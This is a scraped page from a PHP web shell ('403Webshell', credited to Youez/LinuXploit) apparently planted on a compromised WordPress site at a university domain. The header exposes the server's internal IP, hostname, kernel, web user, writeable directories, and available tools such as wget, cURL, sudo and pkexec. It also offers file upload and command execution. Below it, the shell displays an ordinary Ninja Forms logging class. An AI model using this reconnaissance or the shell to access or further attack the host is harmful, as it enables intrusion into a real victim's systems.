403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tomas/public_html/wp-content/plugins/ninja-forms/includes/Database/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tomas/public_html/wp-content/plugins/ninja-forms/includes/Database//Logger.php
<?php if ( ! defined( 'ABSPATH' ) ) exit;

/**
 * Class NF_Abstracts_logger
 *
 * Handles custom logging for Ninja Forms and Ninja Forms Extensions.
 *
 * PSR-3 and WordPress Compliant where applicable.
 */
final class NF_Database_Logger extends NF_Abstracts_Logger
{
    protected $_current = array();

    /**
     * Logs with an arbitrary level.
     *
     * @param mixed $level
     * @param string $message
     * @param array $context
     * @return null
     */
    public function log( $level, $message, array $context = array() )
    {
        $message = $this->interpolate( $message, $context );

        // Create Log Object
        $log = Ninja_Forms()->form()->object()->get();
        $log->update_setting( 'type', 'log' )
            ->update_setting( 'level', $level )
            ->update_setting( 'message', $message );

        foreach ($context as $key => $value) {
            $log->update_setting($key, maybe_serialize($value));
        }

        // Add to Database
        $log->save();

        // Add to Current Property Array
        $this->_current[ $level ][] = $log;
    }

    /**
     * Get current logs for the request lifecycle
     *
     * @param string $level
     * @return array
     */
    public function get_current( $level = '' )
    {
        return ( $level ) ? $this->_current[ $level ] : $this->_current;
    }

    /**
     * Interpolates context values into the message placeholders.
     *
     * @param $message
     * @param array $context
     * @return string
     */
    protected function interpolate( $message, array $context = array() )
    {
        // build a replacement array with braces around the context keys
        $replace = array();
        foreach ($context as $key => $val) {

            if( is_array( $val ) ) continue;

            $replace['{' . $key . '}'] = $val;
        }

        // interpolate replacement values into the message and return
        return strtr($message, $replace);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit